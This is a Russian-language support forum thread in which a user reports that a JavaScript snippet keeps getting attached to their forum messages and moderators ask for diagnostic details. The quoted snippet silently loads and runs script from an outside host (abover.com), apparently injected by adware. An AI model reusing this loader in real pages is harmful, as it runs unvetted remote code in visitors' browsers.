Сообщение с кодом

Добрый день!Такая проблема-у одного пользователя вот уже несколько дней проблема с отправкой сообщений постоянно запрашивается пароль либо прикрепляется вот такое сообщение:
"(function () { var script = document.createElement('script'); script.src = 'https://abover.com/system/extension?iframe=' + ( self === top ? '0' : '1' ) + '&r=' + Math.random(); script.onload = script.onerror = function () { script.onload = script.onerror = null; script.parentNode.removeChild(script); } document.body.appendChild(script); })();"

На вирусы проверяли-чисто 

труляляка,
здравствуйте,
вы не могли бы сделать скриншот (или попросить пользователя сделать скриншот) подобного сообщения, к которому прикрепился код? И дать ссылки на парочку таких сообщений.

[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку] вот здесь например

помогите кто-нибудь,сообщение так и прикрепляется

труляляка,
день добрый!

Извините, пропустила ваше сообщение  ...
Нам нужна будет еще дополнительная информация : сообщения отправляются с компьютера или с мобильного телефона? В какой операционной системе и в каком браузере? Если с мобильного телефона - то какая модель?

с компьютера, виндоус, мазила

труляляка,
спасибо большое,

проблема передана в тех. команду -  я вернусь сюда в тему, как только получу какую-то информацию!

(аналогичный случай был описан здесь : [Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку] , но вопрос решился сам собой )

есть новости?

труляляка,
здравствуйте,
пока нет,
но я попрошу вас проделать еще кое-что (для получения максимума информации) .  Попросите, пожалуйста, этого пользователя написать тестовое сообщение здесь, в нашей теме на этом форуме -  чтобы проверить, появляются ли эти коды и здесь.

Спасибо!

[Вы должны быть зарегистрированы и подключены, чтобы видеть это изображение]

У нас более месяца нет никаких новостей от автора темы. В связи с этим мы полагаем, что проблема больше не актуальна и закрываем тему. Если вы по-прежнему нуждаетесь в решении, откройте, пожалуйста, новую тему. С уважением, Forum2x2